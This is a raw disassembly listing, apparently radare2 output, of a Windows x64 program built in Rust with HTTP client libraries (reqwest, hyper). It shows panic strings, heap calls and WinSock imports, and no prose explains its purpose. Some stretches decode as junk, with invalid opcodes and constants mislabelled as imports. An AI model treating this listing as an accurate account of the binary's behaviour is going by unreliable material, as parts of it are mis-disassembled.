mov qword [rbx + 0x380], 0
mov qword [rbx + 0x3a0], r13
mov qword [rbx + 0x3a8], 2
lea rdx, str.library_std_srcio_stdio.rs
lea rcx, [rbx + 0x380]
call fcn.14016f2f0
jmp case.0x14001099d.2
lea rcx, [0x1401eb9a5]
lea r8, str.library_std_src_threadmod.rsuse_of_std::thread::current___is_not_possible_after_the_threads_local_data_has_been_destroyed
mov edx, 0x5e
call fcn.14016f690
ud2
mov ecx, 0xd0
jmp 0x14000f81c
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823_reqwest_0.11.22_src_blockingclient.rsthread_not_dropped_yet
jmp 0x1400109ad
mov ecx, 8
mov edx, 2
call fcn.14016c090
ud2
mov ecx, 0x2320
jmp 0x14000f81c
mov ecx, 0x200
mov edx, 0x80
call fcn.14016c090
ud2
mov ecx, 0x48
jmp 0x14000f81c
mov ecx, 0x1d
mov edx, 1
call fcn.14016c090
ud2
mov ecx, 0x1c0
jmp 0x14000f81c
lea rcx, str.lock_count_overflow_in_reentrant_mutexlibrary_std_src_sync_remutex.rs
lea r8, [0x1401ec620]
mov edx, 0x26
call fcn.14016f690
ud2
lea rax, str.SystemTime_before_UNIX_EPOCH_
mov qword [rbx + 0x390], rax
mov qword [rbx + 0x398], 1
mov qword [rbx + 0x380], 0
lea rax, method..virtual_32
mov qword [rbx + 0x3a0], rax
mov qword [rbx + 0x3a8], 0
lea rdx, [0x1401775c8]
jmp 0x14000f61e
lea r8, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823encoding_rs_0.8.33_srclib.rs
mov rdx, qword [rbx + 0xd0]
call fcn.14016f3b0
ud2
mov qword [rbx + 0x880], rdx
mov qword [rbx + 0x888], 0x1d
mov qword [rbx + 0x890], rsi
mov qword [rbx + 0x898], 0x1d
lea rax, [0x1401eef28]
mov qword [rsp + 0x20], rax
lea rcx, str.thread_name_may_not_contain_interior_null_bytes
lea r9, [0x1401e5720]
lea r8, [rbx + 0x880]
mov edx, 0x2f
call fcn.14016f5f0
ud2
lock dec qword [r15]
jne 0x14000f438
mov rcx, r15
call fcn.1400bf180
mov rax, qword [rbx + 0xa0]
lock dec qword [rax]
je 0x14000f445
mov rcx, qword [0x140221370]
test rcx, rcx
je 0x14000f45d
jmp 0x14000f476
mov rax, qword [rbx + 0xa0]
lock dec qword [rax]
jne 0x14000f42a
mov rcx, qword [rbx + 0xa0]
call fcn.14013b3b0
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14000f476
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f817
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f817
mov rsi, rax
mov qword [rax], rdi
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14000f4b8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f82f
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, WSAStartup
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f82f
mov r13, rax
mov qword [rax], rsi
lea rax, fcn.1400a9190
mov qword [r13 + 8], rax
mov dword [r13 + 0x28], 2
mov word [r13 + 0x68], 0
mov rax, qword [r14 + 0x40]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [r14 + 0x40], rcx
jne 0x14000f4f3
and eax, 0xa
cmp eax, 8
jne 0x14000f515
mov rcx, qword [r14 + 0x20]
mov rax, qword [r14 + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
lock dec qword [r14]
jne 0x140009924
mov rcx, r14
call fcn.14011ffb0
jmp 0x140009924
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x1401ec678]
mov edx, 0x28
add byte [rbp + rcx*4 + 5], cl
rcr dword ds:[0x14029af3d], 1
add byte [rax], al
call fcn.14016f690
ud2
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823hyper_0.14.27_src_body_to_bytes.rs_f
jmp 0x1400109ad
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_84c898d65adf2f39a5a98507f1fe0ce10a2b8dbclibrarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823encoding_rs_0.8.33_srclib.rs
mov edx, 0x2b
call fcn.14016f3d0
ud2
mov ecx, 0x60
jmp 0x14000f81c
add rcx, 0x10
xor edx, edx
call fcn.14013e060
lea rax, str.too_many_running_threads_in_thread_scope
mov qword [rbx + 0x890], rax
mov qword [rbx + 0x898], 1
mov qword [rbx + 0x880], 0
lea rax, method..virtual_32
mov qword [rbx + 0x8a0], rax
mov qword [rbx + 0x8a8], 0
lea rdx, str.library_std_src_thread_scoped.rs_b
lea rcx, [rbx + 0x880]
call fcn.14016f2f0
ud2
lea rax, str.overflow_in_Duration::new
mov qword [rbx + 0x390], rax
mov qword [rbx + 0x398], 1
mov qword [rbx + 0x380], 0
lea rax, method..virtual_32
mov qword [rbx + 0x3a0], rax
mov qword [rbx + 0x3a8], 0
lea rdx, str._rustc_84c898d65adf2f39a5a98507f1fe0ce10a2b8dbclibrarycore_src_time.rs
lea rcx, [rbx + 0x380]
call fcn.14016f2f0
ud2
mov ecx, 2
mov edx, 1
call fcn.14016c090
ud2
lea r8, [0x1401eb4b8]
call fcn.14016f3b0
ud2
lea rcx, str.core_thread_exited_earlycore_thread_panicked
lea r8, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823_reqwest_0.11.22_src_blockingclient.rsthread_not_dropped_yet
mov edx, 0x18
call fcn.14016f690
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_84c898d65adf2f39a5a98507f1fe0ce10a2b8dbclibrarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823encoding_rs_0.8.33_srclib.rs
mov edx, 0x2b
call fcn.14016f3d0
ud2
lock dec qword [rsi]
jne 0x14000f6a7
mov rcx, qword [rbx + 0x880]
call fcn.14011ff60
lea rax, [0x1401eb970]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_84c898d65adf2f39a5a98507f1fe0ce10a2b8dbclibrary_std_src_threadlocal.rs
lea r9, [0x1401eb7e0]
lea r8, [rbx + 0x2f0]
mov edx, 0x46
call fcn.14016f5f0
ud2
mov edx, 1
mov rcx, qword [rbx + 0xc0]
call fcn.14016c090
ud2
lea rcx, str.no_entry_found_for_key
lea r8, [0x140177580]
jmp 0x140010862
mov qword [rbx + 0x380], r15
lea rax, [0x140177550]
jmp 0x14000e49a
mov rcx, r13
mov rdx, rsi
call fcn.14016c090
ud2
movups xmm0, xmmword [rbx + 0x380]
movaps xmmword [rbx + 0x1040], xmm0
lea rax, [rbx + 0x140]
mov qword [rbx + 0x880], rax
lea rax, [0x1400240c0]
mov qword [rbx + 0x888], rax
lea rax, [rbx + 0x1040]
mov qword [rbx + 0x890], rax
lea rax, [0x14009c270]
mov qword [rbx + 0x898], rax
lea rax, [0x1401cbea8]
mov qword [rbx + 0xd90], rax
mov qword [rbx + 0xd98], 2
mov qword [rbx + 0xd80], 0
lea rax, [rbx + 0x880]
mov qword [rbx + 0xda0], rax
mov qword [rbx + 0xda8], 2
lea rdx, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823mime_guess_2.0.4_srclib.rs
lea rcx, [rbx + 0xd80]
call fcn.14016f2f0
ud2
lea rax, [0x1401e9710]
mov qword [rsp + 0x20], rax
lea rcx, str.has_authority_means_set_username_shouldnt_failC:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823_reqwest_0.11.22_src_async_impl_request.rs
jmp 0x14000f7da
lea rax, [0x1401e9758]
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
lea rcx, str.has_authority_means_set_password_shouldnt_fail
lea r9, method..virtual_32
lea r8, [rbx + 0x2f0]
mov edx, 0x2f
add al, byte [rax]
add byte [rdx + 0x2f], bh
call fcn.14016f5f0
ud2
add byte [rdi], cl
or edi, dword [rcx + 6]
invalid
add byte [rax], al
invalid
mov ecx, 6
invalid
mov edx, 1
call fcn.14016c090
invalid
add byte [rdi], cl
invalid
adc eax, 0xb90b0f00
invalid
mov ecx, 7
int 0x29
ud2
invalid
or ebp, eax
sbb eax, 0xf001644
or ecx, dword [rdi]
ud2
mov ecx, 8
call fcn.140173c30
ud2
ud2
mov ecx, 8
mov edx, 8
or byte [rax], al
add byte [rax], al
call fcn.14016c090
ud2
mov ecx, 0x30
jmp 0x14000f81c
mov ecx, WSAStartup
jmp 0x14000f81c
mov ecx, 0x18
jmp 0x14000f81c
movzx eax, byte [rbx + 0x510]
test eax, eax
je 0x14000fed5
cmp eax, 3
jne 0x14000fe3b
movzx eax, byte [rbx + 0x4c0]
test eax, eax
je 0x14001063a
cmp eax, 3
jne case.0x140007c11.12
movzx eax, byte [rbx + 0x488]
test eax, eax
je 0x14001066f
cmp eax, 3
jne 0x14000fe61
mov rax, qword [rbx + 0x478]
mov rcx, qword [rax]
lea rdx, [rbx + 0x230]
call fcn.1400882a0
test rax, rax
jne 0x1400106a0
mov rdi, rdx
mov byte [rbx + 0x488], 1
xor eax, eax
test rax, rax
jne 0x1400106b5
test rdi, rdi
je 0x14000f8e2
mov rax, qword [rbx + 0x468]
mov rdx, qword [rbx + 0x450]
mov r8, qword [rbx + 0x458]
lea rcx, [rbx + 0x460]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x14000fcc8
mov r14, qword [rbx + 0x4b0]
movdqu xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movaps xmmword [rbx + 0xd90], xmm1
movdqa xmmword [rbx + 0xd80], xmm0
movzx eax, byte [r14 + 0x20]
mov r13b, 1
cmp al, 2
jne 0x14000f914
mov rax, rsi
jmp 0x14000fbe4
test al, al
je 0x14000f9cc
mov rsi, qword [r14 + 0x18]
lea r15, [rsi + 0x10]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402213f8]
shl rax, 1
xor edi, edi
test rax, rax
jne 0x14000fd5f
movzx eax, byte [rsi + 0x18]
test al, al
jne 0x14000fd76
cmp byte [rsi + 0x30], 0
je 0x14000f9a5
mov rax, qword [rsi + 0x28]
test rax, rax
je 0x14000f965
mov rcx, qword [rsi + 0x20]
call qword [rax + 0x18]
mov qword [rsi + 0x28], 0
test dil, dil
mov r14d, dword [rbx + 0xa8]
jne 0x14000f98d
mov rax, qword [0x1402213f8]
shl rax, 1
test rax, rax
jne 0x14000fddf
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
xor r13d, r13d
lea rax, [rbx + 0xd80]
jmp 0x14000fbeb
mov byte [r14 + 0x20], 0
test dil, dil
jne 0x14000f9c3
mov rax, qword [0x1402213f8]
shl rax, 1
test rax, rax
jne 0x14000fdf5
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov rax, qword [r14 + 0x10]
mov rax, qword [rax + 0x38]
movabs rcx, 0x7fffffffffffffff
movabs r8, 0x8000000000000000
test rax, rax
jns 0x14000fbdd
mov rsi, rax
and rsi, rcx
cmp rsi, rcx
je 0x14000fe21
lea rdx, [rsi + 1]
mov rdi, rdx
or rdi, r8
test rax, rax
cmovns rdi, rdx
mov rdx, qword [r14 + 0x10]
lock cmpxchg qword [rdx + 0x38], rdi
jne 0x14000f9e8
mov r13, qword [r14 + 0x10]
cmp rsi, qword [r13 + 0x30]
jb 0x14000fb0b
mov rsi, qword [r14 + 0x18]
lea r15, [rsi + 0x10]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402213f8]
shl rax, 1
xor edi, edi
test rax, rax
jne 0x14000fdb1
movzx eax, byte [rsi + 0x18]
test al, al
jne 0x14000fdc8
mov rax, qword [rsi + 0x28]
test rax, rax
je 0x14000fa6e
mov rcx, qword [rsi + 0x20]
call qword [rax + 0x18]
mov qword [rsi + 0x28], 0
mov byte [rsi + 0x30], 1
test dil, dil
jne 0x14000fa93
mov rax, qword [0x1402213f8]
shl rax, 1
test rax, rax
jne 0x14000fe0b
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
lock inc qword [rsi]
jle 0x140010f6d
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14000facb
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000fe74
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, reloc.WS2_32.dll_recv
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000fe74
mov qword [rax], 0
mov qword [rax + 8], rsi
mov rcx, rax
xchg qword [r13 + 0x20], rcx
mov qword [rcx], rax
mov rax, qword [r14 + 0x10]
mov rax, qword [rax + 0x38]
shr rax, 0x3f
mov byte [r14 + 0x20], al
mov r13, qword [r14 + 0x10]
mov rcx, qword [0x140221370]
test rcx, rcx
mov r14d, dword [rbx + 0xa8]
jne 0x14000fb37
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f828
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 0x30
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f828
mov qword [rax], 0
mov qword [rax + 8], 1
movdqa xmm0, xmmword [rbx + 0xd80]
movaps xmm1, xmmword [rbx + 0xd90]
movdqu xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm1
mov rcx, rax
xchg qword [r13 + 0x10], rcx
mov qword [rcx], rax
mov rax, qword [r13 + 0x58]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [r13 + 0x58], rcx
jne 0x14000fb83
test rax, rax
jne 0x14000fbb5
mov rcx, qword [r13 + 0x48]
mov rax, qword [r13 + 0x50]
mov qword [r13 + 0x50], 0
lock and qword [r13 + 0x58], 0xfffffffffffffffd
test rax, rax
je 0x14000fbb5
call qword [rax + ioctlsocket]
mov byte [rbx + 0x4c0], 1
mov rcx, qword [rbx + 0x418]
add rcx, qword [rbx + 0x448]
mov qword [rbx + 0x418], rcx
lea r13, [rbx + 0x3d8]
jmp 0x14001001e
lea rax, [rbx + 0xd80]
mov r14d, dword [rbx + 0xa8]
movdqu xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbx + 0x210], xmm1
movdqa xmmword [rbx + 0x200], xmm0
movaps xmmword [rbx + 0xd90], xmm1
movdqa xmmword [rbx + 0xd80], xmm0
mov byte [rbx + 0xda0], r13b
mov eax, dword [rbx + 0xa60]
mov ecx, dword [rbx + 0xa63]
lea rdx, [rbx + 0xe70]
mov dword [rdx - 0xcc], ecx
mov dword [rdx - 0xcf], eax
mov rcx, qword [0x140221370]
test rcx, rcx
je 0x14000fc4c
lea r13, [rbx + 0x3d8]
jmp 0x14000fc6c
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
lea r13, [rbx + 0x3d8]
je 0x1400107c0
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 0x38
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400107c0
mov rdi, rax
mov byte [rax + 0x18], 2
mov qword [rax + 0x20], 0
mov byte [rax + 0x30], 5
mov rax, qword [rbx + 0xd98]
test rax, rax
je 0x14000fcbc
mov rdx, qword [rbx + 0xd80]
mov r8, qword [rbx + 0xd88]
lea rcx, [rbx + 0xd90]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x14000fcc8
lea rcx, [rbx + 0xd80]
call fcn.140087ee0
mov byte [rbx + 0x4c0], 1
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14000fcf4
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f817
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f817
mov rsi, rax
mov qword [rax], rdi
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14000fd36
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f82f
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, WSAStartup
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f82f
mov r15, rax
mov qword [rax], rsi
lea rax, fcn.140087ee0
jmp 0x1400104b1
call fcn.140174810
mov edi, eax
xor dil, 1
movzx eax, byte [rsi + 0x18]
test al, al
je 0x14000f94f
mov qword [rbx + 0x2d0], r15
mov byte [rbx + 0x2d8], dil
lea rax, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823_futures_channel_0.3.28_srcmpscmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401e5840]
lea r8, [rbx + 0x2d0]
mov edx, 0x2b
call fcn.14016f5f0
ud2
call fcn.140174810
mov edi, eax
xor dil, 1
movzx eax, byte [rsi + 0x18]
test al, al
je 0x14000fa5e
mov qword [rbx + 0x2d0], r15
mov byte [rbx + 0x2d8], dil
lea rax, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823_futures_channel_0.3.28_srcmpscmod.rs
jmp 0x14000fd8b
call fcn.140174810
test al, al
jne 0x14000f98d
mov byte [rsi + 0x18], 1
jmp 0x14000f98d
call fcn.140174810
test al, al
jne 0x14000f9c3
mov byte [rsi + 0x18], 1
jmp 0x14000f9c3
call fcn.140174810
test al, al
jne 0x14000fa93
mov byte [rsi + 0x18], 1
jmp 0x14000fa93
lea rcx, str.buffer_space_exhausted__sending_this_messages_would_overflow_the_state
lea r8, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823_futures_channel_0.3.28_srcmpscmod.rs
mov edx, 0x46
call fcn.140171ce0
ud2
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823_reqwest_0.11.22_src_blocking_body.rs
jmp 0x1400109ad
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, [0x1401e6648]
jmp 0x1400109ad
or eax, dword [rax]
invalid
or eax, dword [rax]
add byte [rax - 0x73], cl
or eax, 0x1d3448
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, [0x1401e6630]
jmp 0x1400109ad
add cl, ch
cmp dword [rbx], ecx
add byte [rax], al
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14000f81c
mov byte [rbx + 0x3d0], 1
lea rcx, [rbx + 0x388]
mov rax, qword [rcx + 0x40]
lea rdx, [rbx + 0xe70]
mov qword [rdx + 0x40], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm3
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
lea rdx, [rbx + 0xd80]
mov r8d, 0x138
mov rcx, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + 0x510], 0
movdqu xmm7, xmmword [rbx + 0x4c8]
mov rax, qword [rbx + 0x4d8]
mov r14, qword [rbx + 0x4e0]
movups xmm0, xmmword [r13 + 0x110]
movups xmm1, xmmword [r13 + 0x120]
movaps xmmword [rbx + 0x850], xmm0
mov rcx, qword [r13 + 0x130]
mov qword [rbx + 0x870], rcx
mov qword [rbx + 0x3f8], rax
mov qword [rbx + 0x400], r14
cmp r14, 0x2000
mov ecx, 0x2000
cmovae r14, rcx
movaps xmmword [rbx + 0x860], xmm1
test rax, rax
cmove r14, rcx
mov qword [rbx + 0x418], 0
mov eax, 1
xor ecx, ecx
test r14, r14
je 0x14000ff93
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14000ff78
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14001079e
mov rcx, rax
mov qword [0x140221370], rax
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14001079e
mov rcx, qword [rbx + 0x418]
mov rdi, r14
shr rdi, 0xa
mov edx, 0x40
mov esi, 0x40
je 0x14000ffae
bsr rsi, rdi
xor rsi, 0x3f
sub rdx, rsi
cmp rdx, 7
mov edi, 7
cmovb rdi, rdx
lea rdx, [rdi*4 + 1]
mov qword [rbx + 0x3f0], rax
mov qword [rbx + 0x3d8], 0
mov qword [rbx + 0x3e0], r14
mov qword [rbx + 0x3e8], rdx
movdqu xmmword [rbx + 0x408], xmm7
mov rax, qword [rbx + 0x870]
lea rdx, [rbx + 0x420]
mov qword [rdx + 0x20], rax
movdqa xmm0, xmmword [rbx + 0x850]
movaps xmm1, xmmword [rbx + 0x860]
movups xmmword [rdx + 0x10], xmm1
movdqu xmmword [rdx], xmm0
mov r14d, dword [rbx + 0xa8]
cmp qword [rbx + 0x3f8], 1
jne 0x1400100d3
cmp rcx, qword [rbx + 0x400]
jne 0x1400100d3
xor r15d, r15d
cmp byte [rbx + 0x440], 3
je 0x140010051
lea rcx, [rbx + 0x420]
call fcn.1400e0d60
mov rcx, qword [rbx + 0x408]
mov rax, qword [rbx + 0x410]
call qword [rax]
mov rax, qword [rbx + 0x410]
cmp qword [rax + 8], 0
je 0x140010090
mov r8, qword [rbx + 0x408]
cmp qword [rax + 0x10], 0x11
jb 0x140010081
mov r8, qword [r8 - 8]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rbx + 0x3e8]
test sil, 1
jne 0x14001013f
lock dec qword [rsi + 8]
jne 0x140010168
mov rax, qword [rsi + 8]
cmp qword [rsi + 0x10], 0
je 0x140010156
mov r8, qword [rsi + 0x18]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140010156
mov r8, qword [rbx + 0x3d8]
test r8, r8
je 0x1400101b2
mov qword [rbx + 0x448], r8
xor r12d, r12d
cmp byte [rbx + 0x440], 3
lea rax, [rbx + 0x420]
cmovne r12, rax
je 0x1400107ad
lea rcx, [rbx + 0x2d0]
mov rdx, r13
call fcn.140017100
mov rdi, qword [rbx + 0x2e0]
test dil, 1
jne 0x1400104d6
mov rsi, qword [rbx + 0x2d0]
mov rdx, qword [rbx + 0x2e8]
lea r8, [0x1401f2080]
jmp 0x1400105b8
shr rsi, 5
neg rsi
cmp qword [rbx + 0x3e0], rsi
je 0x140010168
add rsi, qword [rbx + 0x3f0]
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov byte [rbx + 0x510], 1
xor eax, eax
lea rsi, [rbx + 0x450]
mov cl, 3
test rax, rax
je 0x1400106d3
mov byte [rbx + 0x3d1], cl
cmp r12d, 0x3b9aca00
jne 0x140010934
call fcn.14013e170
movzx eax, byte [rbx + 0x3d1]
lea rcx, [0x1400113d0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov r9, qword [rbx + 0x3e0]
xor r8d, r8d
test r9, r9
jne 0x1400101df
mov edx, 0x40
mov rcx, r13
call fcn.140017360
mov r8, qword [rbx + 0x3d8]
mov r9, qword [rbx + 0x3e0]
sub r9, r8
add r8, qword [rbx + 0x3f0]
mov rdx, qword [rbx + 0x408]
mov rax, qword [rbx + 0x410]
lea rcx, [rbx + 0x2d0]
call qword [rax + 0x18]
cmp qword [rbx + 0x2d0], 0
je 0x1400106fa
mov r15, qword [rbx + 0x2d8]
movzx eax, byte [rbx + 0x440]
mov byte [rbx + 0x440], 3
cmp al, 3
je 0x140010854
lea rcx, [rbx + 0x420]
movdqu xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rbx + 0xd90], xmm1
movdqa xmmword [rbx + 0xd80], xmm0
mov byte [rbx + 0xda0], al
mov eax, dword [r13 + 0x69]
mov ecx, dword [r13 + 0x6c]
lea rdx, [rbx + 0xe70]
mov dword [rdx - 0xcc], ecx
mov dword [rdx - 0xcf], eax
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14001028d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400107c0
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 0x38
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400107c0
mov byte [rax + 0x18], 2
mov qword [rax + 0x20], 0
mov word [rax + 0x30], 0x101
lea rcx, [rbx + 0xd80]
mov rdx, rax
call fcn.140088f00
mov rax, qword [rbx + 0xd88]
lock dec qword [rax]
jne 0x1400102de
mov rcx, qword [rbx + 0xd88]
call fcn.1400bcea0
cmp byte [rbx + 0xda0], 2
je 0x140010384
mov rax, qword [rbx + 0xd90]
lock dec qword [rax + 0x40]
jne 0x140010352
mov rdx, qword [rbx + 0xd90]
mov rax, qword [rdx + 0x38]
test rax, rax
jns 0x140010318
movabs rax, 0x7fffffffffffffff
lock and qword [rdx + 0x38], rax
mov rax, qword [rdx + 0x58]
nop dword [rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdx + 0x58], rcx
jne 0x140010320
test rax, rax
jne 0x140010352
mov rcx, qword [rdx + 0x48]
mov rax, qword [rdx + 0x50]
mov qword [rdx + 0x50], 0
lock and qword [rdx + 0x58], 0xfffffffffffffffd
test rax, rax
je 0x140010352
call qword [rax + ioctlsocket]
mov rax, qword [rbx + 0xd90]
lock dec qword [rax]
jne 0x14001036b
mov rcx, qword [rbx + 0xd90]
call fcn.140087c20
mov rax, qword [rbx + 0xd98]
lock dec qword [rax]
jne 0x140010384
mov rcx, qword [rbx + 0xd98]
call fcn.140087f90
mov rsi, qword [rbx + 0xd80]
test rsi, rsi
je 0x140010426
mov r14b, 1
mov al, 1
xchg byte [rsi + 0xa8], al
mov al, 1
xchg byte [rsi + 0x88], al
test al, al
jne 0x1400103d1
mov rcx, qword [rsi + 0x78]
mov rax, qword [rsi + 0x80]
mov qword [rsi + 0x80], 0
xor edx, edx
xchg byte [rsi + 0x88], dl
test rax, rax
je 0x1400103d1
call qword [rax + ioctlsocket]
xchg byte [rsi + 0xa0], r14b
add rsi, 0x90
xor edi, edi
test r14b, r14b
cmove rdi, rsi
mov r14d, dword [rbx + 0xa8]
jne 0x14001040d
mov rcx, qword [rdi]
mov rax, qword [rdi + 8]
mov qword [rdi + 8], 0
test rax, rax
je 0x140010408
call qword [rax + 0x18]
xor eax, eax
xchg byte [rdi + 0x10], al
mov rax, qword [rbx + 0xd80]
lock dec qword [rax]
jne 0x140010426
mov rcx, qword [rbx + 0xd80]
call fcn.1400c26d0
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14001044b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f817
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f817
mov rsi, rax
mov qword [rax], r15
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14001048d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f82f
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, WSAStartup
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f82f
mov r15, rax
mov qword [rax], rsi
lea rax, fcn.1400a9190
mov qword [r15 + 8], rax
mov dword [r15 + 0x28], 2
mov word [r15 + 0x68], 4
cmp byte [rbx + 0x440], 3
jne 0x140010045
jmp 0x140010051
shr rdi, 5
mov r14, qword [rbx + 0x2e8]
mov rax, qword [rbx + 0x2d0]
mov r15, qword [rbx + 0x2d8]
sub r14, rdi
lea r13, [rdi + rax]
cmp rax, r15
jne 0x140010536
lea r8, [0x1401e46b0]
lea rdx, method..virtual_32
xor eax, eax
mov ecx, 0
test r13, r13
je 0x140010591
lea r8, [0x1401ba030]
test r14b, 1
jne 0x140010731
mov rax, r14
or rax, 1
lea r8, [0x1401ba018]
jmp 0x14001058b
add r15, rdi
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14001055e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f836
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f836
mov qword [rax], r14
mov qword [rax + 8], r15
mov qword [rax + 0x10], 1
lea r8, [0x140177d60]
mov rdx, r14
mov rcx, r13
mov qword [rbx + 0x1020], rdi
mov rsi, rcx
sub rsi, rdi
jb 0x1400107ca
add rdx, rdi
mov rdi, rax
mov r14d, dword [rbx + 0xa8]
lea r13, [rbx + 0x3d8]
movdqu xmm0, xmmword [rbx + 0xaa0]
movups xmm1, xmmword [rbx + 0xab0]
